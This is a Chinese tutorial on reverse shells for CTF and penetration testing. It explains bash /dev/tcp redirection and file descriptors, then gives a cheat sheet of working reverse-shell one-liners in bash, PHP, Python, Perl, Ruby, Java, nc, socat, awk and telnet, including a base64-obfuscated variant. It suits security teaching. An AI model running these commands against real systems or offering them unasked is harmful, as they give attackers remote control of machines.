前言
反弹shell(reverse shell)时控制端监听某TCP/UDP端口,受控端发起连接到控制端口,并将其命令行的输入输出转到控制端。
我们不管在平时的CTF比赛中,还是在做渗透测试,反弹shell经常会用到,使用反弹shell方便自己的机器连接目标机器,从而实现更好的控制
Bash反弹shell
/bin/bash -i >& /dev/tcp/ip/port 0>&1
我们来分析一下这条命令
bash -i
:bash
是linux
的一个常见的shell
,-i
参数表示产生交互式的shell
/dev/tcp/ip/port
:这是linux
中的特殊文件,因为linux
一切皆文件,我们可以认为这个就是用来发起tcp
连接的>&
:将标准错误输出重定向到标准输出中0>&1
:将标准输入重定向到标准输出中
这里最不好理解的就是重定向,接下来我们来了解一下linux
重定向
硬件设备和文件描述符
计算机的硬件设备有很多,在linux
中一切皆文件,包括标准输入设备和标准输出设备。
为了表示和区分已经打开的文件,linux
会给每个文件分配一个ID
,这个ID
是一个整数,被称为文件描述符
。
文件描述符 | 文件名 | 类型 | 硬件 |
---|---|---|---|
0 | stdin | 标准输入文件 | 默认设备(键盘) |
1 | stdout | 标准输出文件 | 默认设备(显示器) |
2 | stderr | 标准错误输出文件 | 默认设备(显示器) |
linux
程序在执行任何形式的I/O
操作时,都是在读取或者写入一个文件描述符。这三个文件默认情况下都是打开的,在重定向的过程中,可以直接使用文件描述符。
Linux Shell重定向
重定向主要分为两种(其他复杂的都是从这两种衍生而来的):
- 输入重定向
<
、<<
- 输出重定向
>
、>>
在输入重定向中,<
表示标准输入重定向,<< tag
表示将开始标记tag
和结束标记tag
直接的内容作为输入。
在输出重定向中,>
表示标准输出重定向(直接覆盖文件),>>
表示将输出进行追加文件。
我们通过分析bash反弹shell
来学习重定向
/bin/bash -i >& /dev/tcp/ip/port 0>&1
使用>&
其实是一种简略的写法,它和&>
一样表示将标准错误输出重定向到标准输出中,我们还可以通过在末尾添加2>&1
来实现这种效果
/bin/bash -i &> /dev/tcp/ip/port 0>&1
/bin/bash -i > /dev/tcp/ip/port 0>&1 2>&1
我们再来说一说最后的0>&1
,这句话很好解释,就是将标准输入重定向给标准输出,在开头的我们已经将标准输出重定向到了/dev/tcp/ip/port
上,然后再将标准输入也重定向到那,结果如下图
所以就实现了输入和输出都在攻击者的机器上显示,从而实现了反弹shell的作用
这里提到的/dev/tty
是控制终端设备的特殊文件
不仅这样,反弹shell还可以这样写
bash -i >& /dev/tcp/ip/port <&2
或者
bash -i >& /dev/tcp/ip/port 0<&2
最后的0<&2
一开始觉得是将标准错误输出重定向到标准输入,但是如果这样解释的话,最后的结果应该是这样的
显然这不是我们想要的结果,通过查阅资料,了解到0>&2
和0<&2
是相同的,都是将标准输入重定向到标准错误输出
查了很久,个人觉得这里的0>&2
就是特殊用法,我们最规范的用法如下0<
标准输入重定向
0< === < // <就是标准输入重定向,效果于0<相同
1> === > // >就是标准输出重定向,效果于1>相同
PS:个人觉得这里还挺绕的,在之后的学习中希望可以有更新的认知!
其他常用的反弹shell
PHP反弹shell
php -r '$sock=fsockopen("ip",9999);exec("/bin/sh -i <&3 >&3 2>&3");'
这里的文件描述符3
就是前面由PHP
创建的socket
进程,然后将标准输入,标准输出,标准错误输出全部都重定向到该进程
Python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Perl反弹shell
perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Ruby反弹shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.120","3333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';
ruby不需要调用系统的/bin/bash进行反弹shell,所以流量中只有执行的命令。
Java反弹shell
public class Revs {
public static void main(String[] args) throws Exception {
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
把该代码保存为Revs.java
文件
javac Revs.java
java Revs
Java
使用Runtime.getRuntime().exec()
调用服务器命令进行反弹shell。
反弹shell的一些骚姿势
bash -c '{echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}'
exec 5<>/dev/tcp/ip/port
exec /bin/sh 0</dev/tcp/ip/port 1>&0 2>&0
exec 5<>/dev/tcp/ip/port;cat <&5|while read line;do $line >&5 2>&1;done
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f
nc -e /bin/bash ip port
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:port
awk 'BEGIN{s="/inet/tcp/0/ip/port";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
telnet ip port1 | /bin/bash | telnet ip port2
telnet
的第一个port
用来连接机器,第二个port
用来连接bash